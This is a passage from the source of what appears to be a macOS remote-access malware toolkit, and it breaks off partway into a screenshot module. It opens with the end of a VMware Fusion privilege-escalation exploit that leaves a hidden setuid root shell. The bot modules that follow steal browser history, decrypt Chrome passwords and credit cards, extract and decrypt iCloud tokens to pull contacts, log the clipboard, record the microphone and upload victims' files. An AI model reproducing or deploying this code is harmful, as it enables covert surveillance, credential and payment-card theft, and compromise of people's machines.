22 | os.makedirs(path + "/Contents/Library/services/")
23 | os.makedirs(path + "/a/b/c")
24 | except OSError:
25 | print("directories exist also ok")
26 | print("[+] Creating our runas root payload to use in " + path)
27 | myfile = open(path + "/Contents/Library/services/VMware USB Arbitrator Service","wb")
28 | myfile.write("#!/usr/bin/python\nimport os\nos.setuid(0)\nos.system('cp /bin/bash /tmp/.com.apple.launchd.rWGGYVvlyx;chmod 4755 /tmp/.com.apple.launchd.rWGGYVvlyx')\n")
29 | myfile.close()
30 | os.chmod(path + "/Contents/Library/services/VMware USB Arbitrator Service",0755)
31 | print("[+] Linking service for path confusion")
32 | try:
33 | os.link("/Applications/VMware Fusion.app/Contents/Library/services/Open VMware USB Arbitrator Service",path + "/a/b/c/linked")
34 | except OSError:
35 | print("link exists")
36 | p = os.fork()
37 | if p == 0:
38 | print("exploiting service")
39 | os.execve(path + "/a/b/c/linked", ["VMware USB Arbitrator Service"], env)
40 | time.sleep(5)
41 | os.kill(p,9)
42 | time.sleep(7)
43 | print("[+] root shell at '/tmp/.com.apple.launchd.rWGGYVvlyx -p -c id'")
44 | print("[!] delete " + path + "/a and " + path + "/Contents to clean up artifacts")
45 |
--------------------------------------------------------------------------------
/server/modules/bot/browser_history.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | import sqlite3
6 | from os import path
7 |
8 |
9 | def print_safari_history(history_limit, output_file):
10 | try:
11 | safari_history = path.expanduser("~/Library/Safari/History.db")
12 | string_builder = ""
13 |
14 | if path.isfile(safari_history):
15 | database = sqlite3.connect(safari_history)
16 | cursor = database.cursor()
17 |
18 | cursor.execute(
19 | "SELECT datetime(hv.visit_time + 978307200, 'unixepoch', 'localtime') "
20 | "as last_visited, hi.url, hv.title "
21 | "FROM history_visits hv, history_items hi WHERE hv.history_item = hi.id;"
22 | )
23 | statement = cursor.fetchall()
24 |
25 | number = history_limit * -1
26 |
27 | if not output_file:
28 | string_builder += "Safari history: \n"
29 |
30 | for item in statement[number:]:
31 | string_builder += " -> ".join(item)
32 | string_builder += "\n"
33 | else:
34 | with open(output_file, "a+") as out:
35 | for item in statement[number:]:
36 | out.write(str(item) + "\n")
37 | out.write("\n")
38 |
39 | database.close()
40 | print(string_builder)
41 | except Exception as ex:
42 | print("[safari] Error: " + str(ex))
43 |
44 |
45 | def print_chrome_history(history_limit, output_file):
46 | try:
47 | chrome_history = path.expanduser("~/Library/Application Support/Google/Chrome/Default/History")
48 | string_builder = ""
49 |
50 | if path.isfile(chrome_history):
51 | database = sqlite3.connect(chrome_history)
52 | cursor = database.cursor()
53 |
54 | cursor.execute(
55 | "SELECT datetime(last_visit_time/1000000-11644473600, unixepoch) "
56 | "as last_visited, url, title, visit_count "
57 | "FROM urls;"
58 | )
59 | statement = cursor.fetchall()
60 |
61 | number = history_limit * -1
62 |
63 | if not output_file:
64 | string_builder += "Chrome history: "
65 |
66 | for item in statement[number:]:
67 | string_builder += item
68 | string_builder += "\n"
69 | else:
70 | # Write output to file.
71 | with open(output_file, "a+") as out:
72 | for item in statement[number:]:
73 | out.write(str(item) + "\n")
74 |
75 | database.close()
76 | print(string_builder)
77 | except Exception as ex:
78 | print("[chrome] Error: " + str(ex))
79 |
80 |
81 | def run(options):
82 | print_safari_history(options["history_limit"], options["output_file"])
83 | print_chrome_history(options["history_limit"], options["output_file"])
84 |
85 | if options["output_file"]:
86 | print("[browser_history] History saved to: " + options["output_file"])
87 |
--------------------------------------------------------------------------------
/server/modules/bot/chrome_passwords.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # See https://github.com/manwhoami/OSXChromeDecrypt
3 | __author__ = "manwhoami"
4 |
5 | import base64
6 | import binascii
7 | import glob
8 | import hmac
9 | import itertools
10 | import operator
11 | import shutil
12 | import sqlite3
13 | import struct
14 | import subprocess
15 | import tempfile
16 |
17 | try:
18 | xrange
19 | except NameError:
20 | # Python3 support.
21 | # noinspection PyShadowingBuiltins
22 | xrange = range
23 |
24 |
25 | def pbkdf2_bin(password, salt, iterations, keylen=16):
26 | # Thanks to mitsuhiko for this function:
27 | # https://github.com/mitsuhiko/python-pbkdf2
28 | _pack_int = struct.Struct('>I').pack
29 | hashfunc = sha1
30 | mac = hmac.new(password, None, hashfunc)
31 |
32 | def _pseudorandom(x, mac=mac):
33 | h = mac.copy()
34 | h.update(x)
35 | return map(ord, h.digest())
36 |
37 | buf = []
38 | for block in xrange(1, -(-keylen // mac.digest_size) + 1):
39 | rv = u = _pseudorandom(salt + _pack_int(block))
40 | for i in xrange(iterations - 1):
41 | u = _pseudorandom(''.join(map(chr, u)))
42 | rv = itertools.starmap(operator.xor, itertools.izip(rv, u))
43 | buf.extend(rv)
44 | return ''.join(map(chr, buf))[:keylen]
45 |
46 |
47 | try:
48 | from hashlib import pbkdf2_hmac
49 | except ImportError:
50 | # Python version not available (Python < 2.7.8, macOS < 10.11),
51 | # use mitsuhiko's pbkdf2 method.
52 | pbkdf2_hmac = pbkdf2_bin
53 | from hashlib import sha1
54 |
55 |
56 | def chrome_decrypt(encrypted, safe_storage_key):
57 | """
58 | AES decryption using the PBKDF2 key and 16x " " IV
59 | via openSSL (installed on OSX natively)
60 |
61 | Salt, iterations, iv, size:
62 | https://cs.chromium.org/chromium/src/components/os_crypt/os_crypt_mac.mm
63 | """
64 |
65 | iv = "".join(("20",) * 16)
66 | key = pbkdf2_hmac("sha1", safe_storage_key, b"saltysalt", 1003)[:16]
67 |
68 | hex_key = binascii.hexlify(key)
69 | hex_enc_password = base64.b64encode(encrypted[3:])
70 |
71 | # Send any error messages to /dev/null to prevent screen bloating up
72 | # (any decryption errors will give a non-zero exit, causing exception)
73 | try:
74 | decrypted = subprocess.check_output(
75 | "openssl enc -base64 -d "
76 | "-aes-128-cbc -iv '{}' -K {} <<< "
77 | "{} 2>/dev/null".format(iv, hex_key, hex_enc_password),
78 | shell=True)
79 | except subprocess.CalledProcessError:
80 | decrypted = "Error decrypting this data."
81 |
82 | return decrypted
83 |
84 |
85 | def chrome_db(chrome_data, content_type):
86 | """
87 | Queries the chrome database (either Web Data or Login Data)
88 | and returns a list of dictionaries, with the keys specified
89 | in the list assigned to keys.
90 |
91 | :type chrome_data: list
92 | :param chrome_data: POSIX path to chrome database with login / cc data
93 | :type content_type: string
94 | :param content_type: specify what kind of database it is (login or cc)
95 |
96 | :rtype: list
97 | :return: list of dictionaries with keys specified in the keys variable
98 | and the values retrieved from the DB.
99 | """
100 | # Work around for locking DB
101 | copy_path = tempfile.mkdtemp()
102 | with open(chrome_data, 'r') as content:
103 | dbcopy = content.read()
104 | with open("{}/chrome".format(copy_path), 'w') as content:
105 | # If chrome is open, the DB will be locked
106 | # so get around this by making a temp copy
107 | content.write(dbcopy)
108 |
109 | database = sqlite3.connect("{}/chrome".format(copy_path))
110 |
111 | if content_type == "Web Data":
112 | sql = ("select name_on_card, card_number_encrypted, expiration_month, "
113 | "expiration_year from credit_cards")
114 | keys = ["name", "card", "exp_m", "exp_y"]
115 |
116 | else:
117 | sql = "select username_value, password_value, origin_url from logins"
118 | keys = ["user", "pass", "url"]
119 |
120 | db_data = []
121 | with database:
122 | for values in database.execute(sql):
123 | if not values[0] or (values[1][:3] != b'v10'):
124 | continue
125 | else:
126 | db_data.append(dict(zip(keys, values)))
127 | shutil.rmtree(copy_path)
128 |
129 | return db_data
130 |
131 |
132 | def utfout(inputvar):
133 | """
134 | Cleans a variable for UTF8 encoding on some environments
135 | where python will break with an error
136 | :credit: koconder
137 |
138 | :type inputvar: string
139 | :param inputvar: string to be cleaned for UTF8 encoding
140 | :rtype inputvar: terminal compatible UTF-8 string encoded
141 | :return inputvar: terminal compatible UTF-8 string encoded
142 | """
143 | return inputvar.encode("utf-8", errors="replace")
144 |
145 |
146 | def chrome(chrome_data, safe_storage_key):
147 | """
148 | Calls the database querying and decryption functions
149 | and displays the output in a neat and ordered fashion.
150 |
151 | :type chrome_data: list
152 | :param chrome_data: POSIX path to chrome database with login / cc data
153 | :type safe_storage_key: string
154 | :param safe_storage_key: key from keychain that will be used to
155 | derive AES key.
156 |
157 | :rtype: None
158 | :return: None. All data is printed in this function, which is it's primary
159 | function.
160 | """
161 | for profile in chrome_data:
162 | # Web data -> Credit cards
163 | # Login data -> Login data
164 |
165 | if "Web Data" in profile:
166 | db_data = chrome_db(profile, "Web Data")
167 |
168 | print("Credit Cards for Chrome Profile -> [{}]".format(profile.split("/")[-2]))
169 |
170 | for i, entry in enumerate(db_data):
171 | entry["card"] = chrome_decrypt(entry["card"], safe_storage_key)
172 | cc_dict = {
173 | "3": "AMEX",
174 | "4": "Visa",
175 | "5": "Mastercard",
176 | "6": "Discover"
177 | }
178 |
179 | brand = "Unknown Card Issuer"
180 | if entry["card"][0] in cc_dict:
181 | brand = cc_dict[entry["card"][0]]
182 |
183 | print(" [{}] {}".format(i + 1, brand))
184 | print("\tCard Holder: {}".format(utfout(entry["name"])))
185 | print("\tCard Number: {}".format(utfout(entry["card"])))
186 | print("\tExpiration: {}/{}".format(utfout(entry["exp_m"]), utfout(entry["exp_y"])))
187 |
188 | else:
189 | db_data = chrome_db(profile, "Login Data")
190 |
191 | print("Passwords for Chrome Profile -> [{}]".format(profile.split("/")[-2]))
192 |
193 | for i, entry in enumerate(db_data):
194 | entry["pass"] = chrome_decrypt(entry["pass"], safe_storage_key)
195 |
196 | print(" [{}] {}".format(i + 1, utfout(entry["url"])))
197 | print("\tUser: {}".format(utfout(entry["user"])))
198 | print("\tPass: {}".format(utfout(entry["pass"])))
199 |
200 |
201 | def run(options):
202 | root_path = "/Users/*/Library/Application Support/Google/Chrome"
203 | login_data_path = "{}/*/Login Data".format(root_path)
204 | cc_data_path = "{}/*/Web Data".format(root_path)
205 | chrome_data = glob.glob(login_data_path) + glob.glob(cc_data_path)
206 |
207 | safe_storage_key = subprocess.Popen(
208 | "security find-generic-password -wa "
209 | "'Chrome'",
210 | stdout=subprocess.PIPE,
211 | stderr=subprocess.PIPE,
212 | shell=True)
213 |
214 | stdout, stderr = safe_storage_key.communicate()
215 |
216 | if stderr:
217 | print("Error: {}. Chrome entry not found in keychain?".format(stderr))
218 | elif not stdout:
219 | print("User clicked deny.")
220 | else:
221 | safe_storage_key = stdout.replace("\n", "")
222 | chrome(chrome_data, safe_storage_key)
223 |
--------------------------------------------------------------------------------
/server/modules/bot/clipboard.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | from AppKit import NSPasteboard, NSStringPboardType
6 | from time import time, sleep
7 | from datetime import datetime
8 |
9 |
10 | def run(options):
11 | elapsed_time = 0
12 | monitor_time = int(options["monitor_time"])
13 | output_file = options["output_file"]
14 |
15 | previous = ""
16 |
17 | while elapsed_time <= monitor_time:
18 | try:
19 | pasteboard = NSPasteboard.generalPasteboard()
20 | pasteboard_string = pasteboard.stringForType_(NSStringPboardType)
21 |
22 | if pasteboard_string != previous:
23 | if output_file:
24 | with open(output_file, "a+") as out:
25 | out.write(pasteboard_string + "\n")
26 | else:
27 | st = datetime.fromtimestamp(time()).strftime("%H:%M:%S")
28 | print("[clipboard] " + st + " - '%s'" % str(pasteboard_string).encode("utf-8"))
29 |
30 | previous = pasteboard_string
31 |
32 | sleep(1)
33 | elapsed_time += 1
34 | except Exception as ex:
35 | print(str(ex))
36 |
37 | if output_file:
38 | print("Clipboard written to: " + output_file)
39 |
--------------------------------------------------------------------------------
/server/modules/bot/decrypt_mme.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # Taken from https://github.com/manwhoami/MMeTokenDecrypt (slightly modified)
3 | # All credits to manwhoami for his work on this.
4 |
5 | import base64
6 | import binascii
7 | import datetime
8 | import glob
9 | import hashlib
10 | import hmac
11 | from os import path
12 | import platform
13 | import sqlite3
14 | import struct
15 | import json
16 | import subprocess
17 |
18 | from Foundation import NSData, NSPropertyListSerialization
19 |
20 |
21 | def get_generation_time(token_value):
22 | # It appears that apple stores the generation time of the token into
23 | # the token. This data is stored in 4 bytes as a big endian integer.
24 | # This function extracts the bytes, decodes them, and converts them
25 | # to a datetime object and returns a string representation of that
26 | # datetime object.
27 | try:
28 | token_c = token_value.replace("\"", "").replace("~", "=")
29 | time_d = base64.b64decode(token_c).encode("hex").split("00000000")[1:]
30 | time_h = [x for x in time_d if not x.startswith("0")][0][:8]
31 | time_i = struct.unpack(">I", binascii.unhexlify(time_h))[0]
32 | gen_time = datetime.datetime.fromtimestamp(time_i)
33 | except Exception:
34 | gen_time = "Could not find creation time."
35 |
36 | return gen_time
37 |
38 |
39 | def bin2str(token_bplist, account_bplist=None):
40 | # Convert the decrypted binary plist to an NSData object that can be read.
41 | bin_list = NSData.dataWithBytes_length_(token_bplist, len(token_bplist))
42 |
43 | # Convert the binary NSData object into a dictionary object.
44 | token_plist = NSPropertyListSerialization.propertyListWithData_options_format_error_(bin_list, 0, None, None)[0]
45 |
46 | # Accounts DB cache
47 | if "$objects" in token_plist:
48 | # Because it is accounts db cache, we should also have been passed
49 | # account_bplist.
50 | bin_list = NSData.dataWithBytes_length_(account_bplist, len(account_bplist))
51 | dsid_plist = NSPropertyListSerialization.propertyListWithData_options_format_error_(bin_list, 0, None, None)[0]
52 |
53 | for obj in dsid_plist["$objects"]:
54 | if str(obj).startswith("urn:ds:"):
55 | dsid = obj.replace("urn:ds:", "")
56 |
57 | token_dict = {"dsid": dsid}
58 |
59 | # Do some parsing to get the data out because it is not stored
60 | # in a format that is easy to process with stdlibs
61 | token_l = [x.strip().replace(",", "") for x in str(token_plist["$objects"]).splitlines()]
62 |
63 | pos_start = token_l.index("mmeBTMMInfiniteToken")
64 | pos_end = (token_l.index("cloudKitToken") - pos_start + 1) * 2
65 |
66 | token_short = token_l[pos_start:pos_start + pos_end]
67 | zipped = zip(token_short[:len(token_short) / 2],
68 | token_short[len(token_short) / 2:])
69 |
70 | for token_type, token_value in zipped:
71 | # Attempt to get generation time
72 | # this parsing is a little hacky, but it seems to be the best way
73 | # to handle all different kinds of iCloud tokens (new and old)
74 | gen_time = get_generation_time(token_value)
75 |
76 | token_dict[token_type] = (token_value, gen_time)
77 |
78 | return token_dict
79 |
80 | else:
81 | return token_plist
82 |
83 |
84 | def run(options):
85 | string_builder = ""
86 | token_output = path.join(options["program_directory"], "tokens.json")
87 |
88 | if path.isfile(token_output):
89 | string_builder += "We already have saved tokens, skipping prompt...\n"
90 |
91 | with open(token_output, "r") as input_file:
92 | saved_tokens = dict(json.loads(input_file.read()))
93 |
94 | for key in saved_tokens.keys():
95 | string_builder += "%s: %s\n" % (key, saved_tokens[key])
96 |
97 | print(string_builder)
98 | return
99 |
100 | # Try to find information in database first.
101 | root_path = path.expanduser("~") + "/Library/Accounts"
102 | accounts_db = root_path + "/Accounts3.sqlite"
103 |
104 | if path.isfile(root_path + "/Accounts4.sqlite"):
105 | accounts_db = root_path + "/Accounts4.sqlite"
106 |
107 | database = sqlite3.connect(accounts_db)
108 | cursor = database.cursor()
109 | data = cursor.execute("SELECT * FROM ZACCOUNTPROPERTY WHERE ZKEY='AccountDelegate'")
110 |
111 | # 5th index is the value we are interested in (bplist of tokens)
112 | token_bplist = data.fetchone()[5]
113 |
114 | data = cursor.execute("SELECT * FROM ZACCOUNTPROPERTY WHERE ZKEY='account-info'")
115 |
116 | if int(platform.mac_ver()[0].split(".")[1]) >= 13:
117 | string_builder += "Tokens are not cached on >= 10.13.\n"
118 | token_bplist = ""
119 | else:
120 | # 5th index will be a bplist with dsid
121 | dsid_bplist = data.fetchone()[5]
122 |
123 | if token_bplist.startswith("bplist00"):
124 | string_builder += "Parsing tokens from cached accounts database at [%s]\n" % accounts_db.split("/")[-1]
125 | token_dict = bin2str(token_bplist, dsid_bplist)
126 |
127 | string_builder += "DSID: %s\n" % token_dict["dsid"]
128 |
129 | with open(token_output, 'wb') as output_file:
130 | for t_type, t_val in token_dict.items():
131 | string_builder += "[+] %s: %s\n" % (t_type, t_val[0])
132 | string_builder += " Creation time: %s\n" % t_val[1]
133 |
134 | output_file.write(json.dumps(token_dict))
135 | string_builder += "Tokens saved to: %s\n" % token_output
136 |
137 | else:
138 | # Otherwise try by using keychain.
139 | string_builder += "Checking keychain...\n"
140 |
141 | icloud_key = subprocess.Popen("security find-generic-password -ws 'iCloud'",
142 | stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
143 |
144 | stdout, stderr = icloud_key.communicate()
145 |
146 | if stderr:
147 | string_builder += "Error: \"%s\", iCloud entry not found in keychain?\n" % stderr
148 | return
149 | if not stdout:
150 | string_builder += "User clicked deny.\n"
151 |
152 | msg = base64.b64decode(stdout.replace("\n", ""))
153 |
154 | """
155 | Constant key used for hashing Hmac on all versions of MacOS.
156 | this is the secret to the decryption!
157 | /System/Library/PrivateFrameworks/AOSKit.framework/Versions/A/AOSKit
158 | yields the following subroutine
159 | KeychainAccountStorage _generateKeyFromData:
160 | that uses the below key that calls CCHmac to generate a Hmac that serves
161 | as the decryption key.
162 | """
163 |
164 | key = "t9s\"lx^awe.580Gj%'ld+0LG<#9xa?>vb)-fkwb92[}"
165 |
166 | # Create Hmac with this key and icloud_key using md5
167 | hashed = hmac.new(key, msg, digestmod=hashlib.md5).digest()
168 |
169 | # Turn into hex for OpenSSL subprocess
170 | hexed_key = binascii.hexlify(hashed)
171 | IV = 16 * "0"
172 | token_file = glob.glob(path.expanduser("~") + "/Library/Application Support/iCloud/Accounts/*")
173 |
174 | for x in token_file:
175 | try:
176 | # We can convert to int, that means we have the dsid file.
177 | int(x.split("/")[-1])
178 | token_file = x
179 | except ValueError:
180 | continue
181 |
182 | if not isinstance(token_file, str):
183 | string_builder += "Could not find MMeTokenFile.\n"
184 | return
185 | else:
186 | string_builder += "Decrypting token plist: %s\n" % token_file
187 |
188 | # Perform decryption with zero dependencies by using OpenSSL.
189 | decrypted = subprocess.check_output("openssl enc -d -aes-128-cbc -iv '%s' -K %s < '%s'" % (
190 | IV, hexed_key, token_file
191 | ), shell=True)
192 |
193 | token_plist = bin2str(decrypted)
194 |
195 | string_builder += "Successfully decrypted!\n\n"
196 | string_builder += "%s (\"%s\", %s):\n" % (
197 | token_plist["appleAccountInfo"]["primaryEmail"], token_plist["appleAccountInfo"]["fullName"],
198 | token_plist["appleAccountInfo"]["dsPrsID"]
199 | )
200 |
201 | with open(token_output, 'wb') as output_file:
202 | for t_type, t_value in token_plist["tokens"].items():
203 | string_builder += "[+] %s: %s\n" % (t_type, t_value)
204 | string_builder += " Creation time: %s\n" % (get_generation_time(t_value))
205 |
206 | token_dict = dict(token_plist["tokens"])
207 | token_dict["fullName"] = token_plist["appleAccountInfo"]["fullName"]
208 | token_dict["primaryEmail"] = token_plist["appleAccountInfo"]["primaryEmail"]
209 |
210 | output_file.write(json.dumps(token_dict))
211 | string_builder += "Tokens saved to: %s\n" % token_output
212 |
213 | print(string_builder)
214 |
--------------------------------------------------------------------------------
/server/modules/bot/download.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | import subprocess
6 | import uuid
7 | from os import path
8 |
9 |
10 | def run_command(command):
11 | out, err = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()
12 | output = out + err
13 |
14 | if len(output.split("\n")) == 2:
15 | return output.replace("\n", "")
16 | else:
17 | return output
18 |
19 |
20 | def get_file_hash(file_path):
21 | """:return: The MD5 hash of the specified file path."""
22 | return run_command("md5 " + path.realpath(file_path)).split(" = ")[1]
23 |
24 |
25 | def upload_file(file_path, buffer_size):
26 | """Send back the file in pieces to the server (so we support very large files)."""
27 | with open(file_path, "rb") as input_file:
28 | while True:
29 | try:
30 | piece = input_file.read(buffer_size)
31 |
32 | if not piece:
33 | break
34 |
35 | print(piece)
36 | except SystemExit:
37 | # Thrown when "kill download" is run.
38 | print("Stopped uploading.")
39 | break
40 |
41 |
42 | def run(options):
43 | file_path = path.expanduser(options["file_path"])
44 | buffer_size = options["buffer_size"]
45 |
46 | if not path.exists(file_path):
47 | print("Failed to download file, invalid path.")
48 | else:
49 | if path.isdir(file_path):
50 | print("Compressing directory: " + file_path)
51 | zip_file = path.join("/var/tmp", str(uuid.uuid4()).replace("-", "")[:12] + ".zip")
52 |
53 | run_command("zip -r " + zip_file + " " + file_path)
54 |
55 | # Let the server know the output file is a zip file.
56 | options["response_options"]["output_name"] = options["response_options"]["output_name"] + ".zip"
57 |
58 | print("Started|" + get_file_hash(zip_file))
59 | upload_file(zip_file, buffer_size)
60 |
61 | print("[download] Finished.")
62 | run_command("rm -rf " + zip_file)
63 | else:
64 | print("Started|" + get_file_hash(file_path))
65 | upload_file(file_path, buffer_size)
66 |
67 | print("[download] Finished.")
68 |
--------------------------------------------------------------------------------
/server/modules/bot/get_backups.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | import subprocess
6 | from os import listdir, path
7 |
8 |
9 | def run_command(command):
10 | out, err = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()
11 | output = out + err
12 |
13 | if len(output.split("\n")) == 2:
14 | # Singe line response.
15 | return output.replace("\n", "")
16 | else:
17 | return output
18 |
19 |
20 | def run(options):
21 | base_path = "/Users/%s/Library/Application Support/MobileSync/Backup/" % run_command("whoami")
22 | backup_paths = listdir(base_path)
23 |
24 | if len(backup_paths) > 0:
25 | string_builder = "Looking for backups...\n"
26 |
27 | for i, backup_path in enumerate(backup_paths):
28 | string_builder += "[+] Device: " + str(i + 1) + "\n"
29 |
30 | plist_keys = [
31 | "Product Name",
32 | "Product Version",
33 | "Last Backup Date",
34 | "Device Name",
35 | "Phone Number",
36 | "Serial Number",
37 | "IMEI",
38 | "Target Identifier",
39 | "iTunes Version"
40 | ]
41 |
42 | backup_path = path.join(base_path, backup_path, "Info.plist").replace(" ", "\\ ")
43 |
44 | for key in plist_keys:
45 | string_builder += "%s: %s\n" % (
46 | key, run_command("/usr/libexec/PlistBuddy -c 'Print :\"%s\"' %s" % (key, backup_path))
47 | )
48 |
49 | print(string_builder)
50 | else:
51 | print("No local backups found.")
52 |
--------------------------------------------------------------------------------
/server/modules/bot/get_info.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | import platform
6 | import subprocess
7 | from os import getuid
8 |
9 |
10 | def run_command(command):
11 | out, err = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()
12 | output = out + err
13 |
14 | if len(output.split("\n")) == 2:
15 | # Single line response.
16 | return output.replace("\n", "")
17 | else:
18 | return output
19 |
20 |
21 | def get_model():
22 | model_key = run_command("sysctl -n hw.model")
23 |
24 | if not model_key:
25 | model_key = "Macintosh"
26 |
27 | output = run_command(
28 | "/usr/libexec/PlistBuddy -c 'Print :\"%s\"' "
29 | "/System/Library/PrivateFrameworks/ServerInformation.framework/Versions/A/Resources/English.lproj/SIMachineAttributes.plist "
30 | "| grep marketingModel" % model_key
31 | )
32 |
33 | if "does not exist" in output.lower():
34 | return model_key + " (running in virtual machine?)"
35 | else:
36 | return output.split("=")[1][1:]
37 |
38 |
39 | def get_wifi():
40 | command = "/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -I | grep -w SSID"
41 | return run_command(command).replace("SSID: ", "").strip()
42 |
43 |
44 | def get_battery():
45 | return run_command("pmset -g batt | egrep \"([0-9]+\\%).*\" -o | cut -f1 -d\';\'")
46 |
47 |
48 | def run(options):
49 | string_builder = ""
50 |
51 | string_builder += "System version: %s\n" % str(platform.mac_ver()[0])
52 | string_builder += "Model: %s\n" % get_model()
53 | string_builder += "Battery: %s\n" % get_battery()
54 | string_builder += "WiFi network: %s\n" % get_wifi()
55 |
56 | if getuid() == 0:
57 | string_builder += "We are root!\n"
58 | else:
59 | string_builder += "We are not root :(\n"
60 | if "On" in run_command("fdesetup status"):
61 | string_builder += "FileVault is on.\n"
62 | else:
63 | string_builder += "FileVault is off."
64 |
65 | print(string_builder)
66 |
--------------------------------------------------------------------------------
/server/modules/bot/icloud_contacts.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # Taken from https://github.com/manwhoami/iCloudContacts (slightly modified)
3 | # All credits to manwhoami for his work on this.
4 |
5 | import base64
6 | import json
7 | import urllib2
8 | from os import path
9 | from xml.etree import ElementTree as ET
10 |
11 |
12 | def get_card_links(dsid, token):
13 | url = 'https://p04-contacts.icloud.com/%s/carddavhome/card' % dsid
14 | headers = {
15 | 'Depth': '1',
16 | 'Authorization': 'X-MobileMe-AuthToken %s' % base64.b64encode("%s:%s" % (dsid, token)),
17 | 'Content-Type': 'text/xml',
18 | }
19 | data = """
20 |
21 |
22 |
23 |
24 |
25 | """
26 | request = urllib2.Request(url, data, headers)
27 | request.get_method = lambda: 'PROPFIND' # Important!
28 | response = urllib2.urlopen(request)
29 | zebra = ET.fromstring(response.read())
30 | returnedData = """
31 |
32 |
33 |
34 |
35 | \n"""
36 | for response in zebra:
37 | for link in response:
38 | href = response.find('{DAV:}href').text # get each link in the tree
39 | returnedData += "%s\n" % href
40 | return "%s" % str(returnedData)
41 |
42 |
43 | def getCardData(dsid, token):
44 | url = 'https://p04-contacts.icloud.com/%s/carddavhome/card' % dsid
45 | headers = {
46 | 'Content-Type': 'text/xml',
47 | 'Authorization': 'X-MobileMe-AuthToken %s' % base64.b64encode("%s:%s" % (dsid, token)),
48 | }
49 | data = get_card_links(dsid, token)
50 | request = urllib2.Request(url, data, headers)
51 | request.get_method = lambda: 'REPORT' # Important!
52 | response = urllib2.urlopen(request)
53 | zebra = ET.fromstring(response.read())
54 |
55 | cards = []
56 |
57 | for response in zebra:
58 | tel, contact, email = [], [], []
59 | name = ""
60 | vcard = response.find('{DAV:}propstat').find('{DAV:}prop').find(
61 | '{urn:ietf:params:xml:ns:carddav}address-data').text
62 | if vcard:
63 | for y in vcard.splitlines():
64 | if y.startswith("FN:"):
65 | name = y[3:]
66 | if y.startswith("TEL;"):
67 | tel.append((y.split("type")[-1].split(":")[-1]
68 | .replace("(", "").replace(")", "").replace(" ", "").replace("-", "")
69 | .encode("ascii", "ignore")))
70 | if y.startswith("EMAIL;") or y.startswith("item1.EMAIL;"):
71 | email.append(y.split(":")[-1])
72 | cards.append((name, tel, email))
73 | return sorted(cards)
74 |
75 |
76 | def run(options):
77 | string_builder = ""
78 | token_file = path.join(options["program_directory"], "tokens.json")
79 |
80 | if not path.isfile(token_file):
81 | print("Failed to find tokens.json, run \"use decrypt_mme\" first.")
82 | return
83 |
84 | with open(token_file, "r") as input_file:
85 | saved_tokens = json.loads(input_file.read())
86 |
87 | dsid = saved_tokens["dsid"]
88 | token = saved_tokens["mmeAuthToken"]
89 |
90 | string_builder += "iCloud contacts:\n"
91 |
92 | card_data = getCardData(dsid, token)
93 | for card in card_data:
94 | string_builder += "%s " % card[0]
95 |
96 | for number in card[1]:
97 | string_builder += "%s " % number
98 | for email in card[2]:
99 | string_builder += "%s " % email
100 | string_builder += "\n"
101 |
102 | print(string_builder)
103 |
--------------------------------------------------------------------------------
/server/modules/bot/microphone.py:
--------------------------------------------------------------------------------
1 | import os
2 | import sys
3 | import time
4 |
5 | import objc
6 | import objc._objc
7 | from AVFoundation import *
8 | from Foundation import *
9 |
10 |
11 | def run(options):
12 | record_time = int(options["record_time"])
13 | output_dir = options["output_dir"]
14 | output_name = options["output_name"]
15 |
16 | pool = NSAutoreleasePool.alloc().init()
17 |
18 | # Construct audio URL
19 | output_path = os.path.join(output_dir, output_name)
20 | audio_path_str = NSString.stringByExpandingTildeInPath(output_path)
21 | audio_url = NSURL.fileURLWithPath_(audio_path_str)
22 |
23 | # Fix metadata for AVAudioRecorder
24 | objc.registerMetaDataForSelector(
25 | b"AVAudioRecorder",
26 | b"initWithURL:settings:error:",
27 | dict(arguments={4: dict(type_modifier=objc._C_OUT)}),
28 | )
29 |
30 | # Initialize audio settings
31 | audio_settings = NSDictionary.dictionaryWithDictionary_({
32 | "AVEncoderAudioQualityKey": 0,
33 | "AVEncoderBitRateKey": 16,
34 | "AVSampleRateKey": 44100.0,
35 | "AVNumberOfChannelsKey": 2,
36 | })
37 |
38 | # Create the AVAudioRecorder
39 | (recorder, error) = AVAudioRecorder.alloc().initWithURL_settings_error_(
40 | audio_url,
41 | audio_settings,
42 | objc.nil,
43 | )
44 |
45 | if error:
46 | print("Unexpected error: " + str(error))
47 | else:
48 | # Record audio for x seconds
49 | recorder.record()
50 |
51 | for i in range(0, record_time):
52 | try:
53 | time.sleep(1)
54 | except SystemExit:
55 | # Kill task called.
56 | print("Recording cancelled, " + str(i) + " seconds were left.")
57 | break
58 |
59 | recorder.stop()
60 |
61 | del pool
62 |
63 | # Done.
64 | os.rename(output_path, output_path + ".mp3")
65 | print("Finished recording, audio saved to: " + output_path + ".mp3")
66 |
--------------------------------------------------------------------------------
/server/modules/bot/screenshot.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | import subprocess
6 |
7 | OUTPUT_FILE = "/var/tmp/image-cache.png"
8 |
9 |
10 | def run_command(command):
11 | out, err = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()
12 | return out + err
13 |
14 |
15 | def run(options):
